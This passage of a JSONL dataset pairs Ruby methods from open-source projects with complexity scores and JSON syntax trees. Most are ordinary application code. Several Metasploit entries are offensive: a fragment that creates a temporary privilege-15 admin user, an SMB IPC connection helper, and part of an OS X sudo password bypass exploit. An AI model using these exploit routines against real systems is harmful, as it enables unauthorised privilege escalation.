user\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created privilege 15 user '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_username\"]}]},{\"type\":\"str\",\"children\":[\"' with password '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_password\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_username\"]},{\"type\":\"lvar\",\"children\":[\"admin_password\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing user '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_username\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_cli_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"no username \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_username\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mode\"]},\"GLOBAL_CONFIGURATION\"]}]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"verbose\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to remove user\"]}]},null]}]}]}]}]}]}","id":"0d612952-4bdb-4a9b-8d49-933ffc8cff94"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/controllers/rb_impediments_controller.rb","start_line":61,"raw_source":"def impediment_params(instance)\n    # We do not need project_id, since ApplicationController will take care of\n    # fetching the record.\n    params.delete(:project_id)\n\n    hash = params\n           .permit(:version_id, :status_id, :id, :sprint_id,\n                   :assigned_to_id, :remaining_hours, :subject, :blocks_ids)\n           .to_h\n           .symbolize_keys\n\n    # We block block_ids only when user is not allowed to create or update the\n    # instance passed.\n    unless instance && ((instance.new_record? && User.current.allowed_in_project?(:add_work_packages,\n                                                                                  @project)) || User.current.allowed_in_any_work_package?(\n                                                                                    :edit_work_packages, in_project: @project\n                                                                                  ))\n      hash.delete(:block_ids)\n    end\n\n    hash\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"impediment_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"version_id\"]},{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"sprint_id\"]},{\"type\":\"sym\",\"children\":[\"assigned_to_id\"]},{\"type\":\"sym\",\"children\":[\"remaining_hours\"]},{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"sym\",\"children\":[\"blocks_ids\"]}]},\"to_h\"]},\"symbolize_keys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"new_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"add_work_packages\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_any_work_package?\",{\"type\":\"sym\",\"children\":[\"edit_work_packages\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"block_ids\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"8e25082b-5e9b-4bcc-b32e-c7ec97637234"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/linked_items.rb","start_line":30,"raw_source":"def recreate_related_items\n          IssueLink.for_source(work_item).each_batch(of: BATCH_SIZE, column: :target_id) do |links_batch|\n            new_links = new_issue_links(links_batch, reference_attribute: 'source_id')\n            ::IssueLink.insert_all(new_links) if new_links.any?\n          end\n\n          IssueLink.for_target(work_item).each_batch(of: BATCH_SIZE, column: :source_id) do |links_batch|\n            new_links = new_issue_links(links_batch, reference_attribute: 'target_id')\n            ::IssueLink.insert_all(new_links) if new_links.any?\n          end\n        end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"recreate_related_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueLink\"]},\"for_source\",{\"type\":\"send\",\"children\":[null,\"work_item\"]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"target_id\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"links_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_links\",{\"type\":\"send\",\"children\":[null,\"new_issue_links\",{\"type\":\"lvar\",\"children\":[\"links_batch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reference_attribute\"]},{\"type\":\"str\",\"children\":[\"source_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_links\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IssueLink\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"new_links\"]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueLink\"]},\"for_target\",{\"type\":\"send\",\"children\":[null,\"work_item\"]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"source_id\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"links_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_links\",{\"type\":\"send\",\"children\":[null,\"new_issue_links\",{\"type\":\"lvar\",\"children\":[\"links_batch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reference_attribute\"]},{\"type\":\"str\",\"children\":[\"target_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_links\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IssueLink\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"new_links\"]}]},null]}]}]}]}]}","id":"cbc907d1-223a-4d90-80e5-7dbf3b011182"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/ipc.rb","start_line":20,"raw_source":"def connect_ipc\n      begin\n        if session\n          self.simple = session.simple_client\n          ipc_tree = simple.client.tree_connect(\"\\\\\\\\#{simple.peerhost}\\\\IPC$\")\n        else\n          connect\n          # smb_login does a tree_connect to the IPC share already.\n          ipc_tree = smb_login\n        end\n      rescue Rex::ConnectionError => e\n        raise SmbIpcConnectionError, e.message\n      rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e\n        raise SmbIpcAuthenticationError, \"Unable to authenticate ([#{e.class}] #{e}).\"\n      end\n\n      report_service(\n        host: simple.peerhost,\n        port: simple.peerport,\n        host_name: simple.client.default_name,\n        proto: 'tcp',\n        name: 'smb',\n        info: \"Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})\"\n      )\n\n      ipc_tree\n    end","complexity_score":47.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_ipc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"simple_client\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ipc_tree\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"tree_connect\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\"\\\\IPC$\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"ipc_tree\",{\"type\":\"send\",\"children\":[null,\"smb_login\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SmbIpcConnectionError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Exceptions\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Error\"]},\"RubySMBError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SmbIpcAuthenticationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to authenticate ([\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\").\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"peerport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"default_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"smb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Module: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"str\",\"children\":[\", last negotiated version: SMBv\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"negotiated_smb_version\"]}]},{\"type\":\"str\",\"children\":[\" (dialect = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"dialect\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ipc_tree\"]}]}]}","id":"302d9bf8-c3b8-4df6-9343-034d4571e599"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/domain_resource.rb","start_line":12,"raw_source":"def mx\n    Resolv::DNS.open do |dns|\n      dns.timeouts = RESOLVE_TIMEOUT\n      dns\n        .getresources(domain, Resolv::DNS::Resource::IN::MX)\n        .to_a\n        .map { |mx| mx.exchange.to_s }\n        .compact_blank\n    end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mx\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]},\"open\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns\"]},\"timeouts=\",{\"type\":\"const\",\"children\":[null,\"RESOLVE_TIMEOUT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns\"]},\"getresources\",{\"type\":\"send\",\"children\":[null,\"domain\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]},\"Resource\"]},\"IN\"]},\"MX\"]}]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mx\"]},\"exchange\"]},\"to_s\"]}]},\"compact_blank\"]}]}]}]}","id":"0f4ab914-5e86-483f-bfc1-1bb607358d7c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/suggestion.rb","start_line":27,"raw_source":"def suggest\n        add_suggestion(\n          filename: filename,\n          regex: self.class::MATCH,\n          replacement: self.class::REPLACEMENT,\n          comment_text: self.class::SUGGESTION,\n          once_per_file: self.class::ONCE_PER_FILE\n        )\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"suggest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_suggestion\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[null,\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"MATCH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"REPLACEMENT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment_text\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"SUGGESTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"once_per_file\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"ONCE_PER_FILE\"]}]}]}]}]}","id":"014995ce-51fa-4115-8fac-a36a8ed5fd94"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/gemspec/require_mfa.rb","start_line":123,"raw_source":"def autocorrect(corrector, node, block_var, metadata)\n          if metadata\n            return unless metadata.hash_type?\n\n            correct_metadata(corrector, metadata)\n          else\n            insert_mfa_required(corrector, node, block_var)\n          end\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"block_var\"]},{\"type\":\"arg\",\"children\":[\"metadata\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"hash_type?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"correct_metadata\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]},{\"type\":\"send\",\"children\":[null,\"insert_mfa_required\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"block_var\"]}]}]}]}","id":"1058b21f-9c39-4ccc-ad1d-6d48bc134ace"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/sudo_password_bypass.rb","start_line":135,"raw_source":"def exploit\n    if is_root?\n      fail_with Failure::BadConfig, 'Session already has root privileges'\n    end\n\n    unless is_admin?\n      fail_with Failure::NoAccess, \"User is not in the 'admin' group, bailing.\"\n    end\n\n    if check != CheckCode::Vulnerable\n      fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n    end\n\n    # \"remember\" the current system time/date/network/zone\n    print_good(\"User is an admin, continuing...\")\n\n    print_status(\"Saving system clock config...\")\n    @time = cmd_exec(\"#{SYSTEMSETUP_PATH} -gettime\").match(/^time: (.*)$/i)[1]\n    @date = cmd_exec(\"#{SYSTEMSETUP_PATH} -getdate\").match(/^date: (.*)$/i)[1]\n    @networked = cmd_exec(\"#{SYSTEMSETUP_PATH} -getusingnetworktime\") =~ (/On$/)\n    @zone = cmd_exec(\"#{SYSTEMSETUP_PATH} -gettimezone\").match(/^time zone: (.*)$/i)[1]\n    @network_server = if @networked\n                        cmd_exec(\"#{SYSTEMSETUP_PATH} -getnetworktimeserver\").match(/time server: (.*)$/i)[1]\n                      end\n\n    run_sudo_cmd\n  end","complexity_score":36.43,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session already has root privileges\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"User is not in the 'admin' group, bailing.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not vulnerable\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"User is an admin, continuing...\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Saving system clock config...\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYSTEMSETUP_PATH\"]}]},{\"type\":\"str\",\"children\":[\" -gettime\"]}]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^time: (.*)$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYSTEMSETUP_PATH\"]}]},{\"type\":\"str\",\"children\":[\" -getdate\"]}]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^date: (.*)$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@networked\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYSTEMSETUP_PATH\"]}]},{\"type\":\"str\",\"children\":[\" -getusingnetworktime\"]}]}]},\"=~\",{\"type\":\"begin\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"On$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYSTEMSETUP_PATH\"]}]},{\"type\":\"str\",\"children\":[\" -gettimezone\"]}]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^time zone: (.*)$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@network_server\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@networked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYSTEMSETUP_PATH\"]}]},{\"type\":\"str\",\"children\":[\" -getnetworktimeserver\"]}]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"time server: (.*)$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"run_sudo_cmd\"]}]}]}","id":"e268f0d3-fca2-4fe0-a316-26334a7553fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/authorized_project_update/project_recalculate_per_user_service.rb","start_line":18,"raw_source":"def effective_access_levels\n      Projects::Members::EffectiveAccessLevelPerUserFinder.new(project, user).execute\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"effective_access_levels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"Members\"]},\"EffectiveAccessLevelPerUserFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"execute\"]}]}","id":"cc556680-ca53-4249-869d-76bfa34acf28"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/performance_bar/stats.rb","start_line":42,"raw_source":"def log_queries(id, data, type)\n        queries_by_location(data, type).each do |location, queries|\n          next unless location\n\n          duration = queries.sum { |query| query['duration'].to_f }\n          log_info = {\n            method_path: \"#{location[:filename]}:#{location[:method]}\",\n            filename: location[:filename],\n            query_type: type,\n            request_id: id,\n            count: queries.count,\n            duration_ms: duration\n          }\n\n          logger.info(log_info)\n        end\n      end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_queries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queries_by_location\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]},{\"type\":\"arg\",\"children\":[\"queries\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"sum\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]\",{\"type\":\"str\",\"children\":[\"duration\"]}]},\"to_f\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":